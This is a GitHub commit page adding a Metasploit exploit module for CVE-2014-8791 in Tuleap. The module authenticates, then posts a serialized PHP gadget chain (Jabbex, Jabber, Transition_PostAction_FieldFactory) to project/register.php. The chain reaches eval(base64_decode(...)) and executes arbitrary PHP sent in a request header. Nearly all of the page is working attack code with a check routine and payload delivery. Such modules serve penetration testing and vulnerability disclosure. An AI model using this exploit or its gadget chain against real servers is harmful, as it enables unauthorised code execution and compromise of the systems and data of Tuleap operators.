Skip to content

Commit 4f3ac43

Browse files
committed
Land rapid7#4341, @EgiX's module for tuleap PHP Unserialize CVE-2014-8791
2 parents a0b181b + 64f529d commit 4f3ac43

File tree

1 file changed

+102
-0
lines changed

1 file changed

+102
-0
lines changed
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Tuleap PHP Unserialize Code Execution',
16+
'Description' => %q{
17+
This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
18+
abused to allow authenticated users to execute arbitrary code with the permissions of the
19+
web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
20+
file. The exploit abuses the destructor method from the Jabbex class in order to reach a
21+
call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from
22+
the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In
23+
order to work, the target must have the 'sys_create_project_in_one_step' option disabled.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' => 'EgiX',
27+
'References' =>
28+
[
29+
['CVE', '2014-8791'],
30+
['OSVDB', '115128'],
31+
['URL', 'http://karmainsecurity.com/KIS-2014-13'],
32+
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
33+
],
34+
'Platform' => 'php',
35+
'Arch' => ARCH_PHP,
36+
'Targets' => [['Generic (PHP Payload)', {}]],
37+
'DisclosureDate' => 'Nov 27 2014',
38+
'DefaultTarget' => 0))
39+
40+
register_options(
41+
[
42+
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
43+
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
44+
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
45+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
46+
Opt::RPORT(443)
47+
], self.class)
48+
end
49+
50+
def check
51+
flag = rand_text_alpha(rand(10)+20)
52+
res = exec_php("print #{flag};")
53+
54+
if res and res.body and res.body.to_s =~ /#{flag}/
55+
return Exploit::CheckCode::Vulnerable
56+
end
57+
58+
Exploit::CheckCode::Safe
59+
end
60+
61+
def do_login()
62+
print_status("#{peer} - Logging in...")
63+
64+
username = datastore['USERNAME']
65+
password = datastore['PASSWORD']
66+
67+
res = send_request_cgi({
68+
'method' => 'POST',
69+
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
70+
'vars_post' => {'form_loginname' => username, 'form_pw' => password}
71+
})
72+
73+
unless res && res.code == 302
74+
fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
75+
end
76+
77+
print_status("#{peer} - Login successful with #{username}:#{password}")
78+
res.get_cookies
79+
end
80+
81+
def exec_php(php_code)
82+
session_cookies = do_login()
83+
84+
chain = 'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'
85+
chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'
86+
chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
87+
chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'
88+
89+
send_request_cgi({
90+
'method' => 'POST',
91+
'uri' => normalize_uri(target_uri.path, 'project/register.php'),
92+
'cookie' => session_cookies,
93+
'vars_post' => {'data' => chain},
94+
'headers' => {'payload' => Rex::Text.encode_base64(php_code)}
95+
}, 3)
96+
end
97+
98+
def exploit
99+
print_status("#{peer} - Exploiting the PHP object injection...")
100+
exec_php(payload.encoded)
101+
end
102+
end

0 commit comments

Comments
 (0)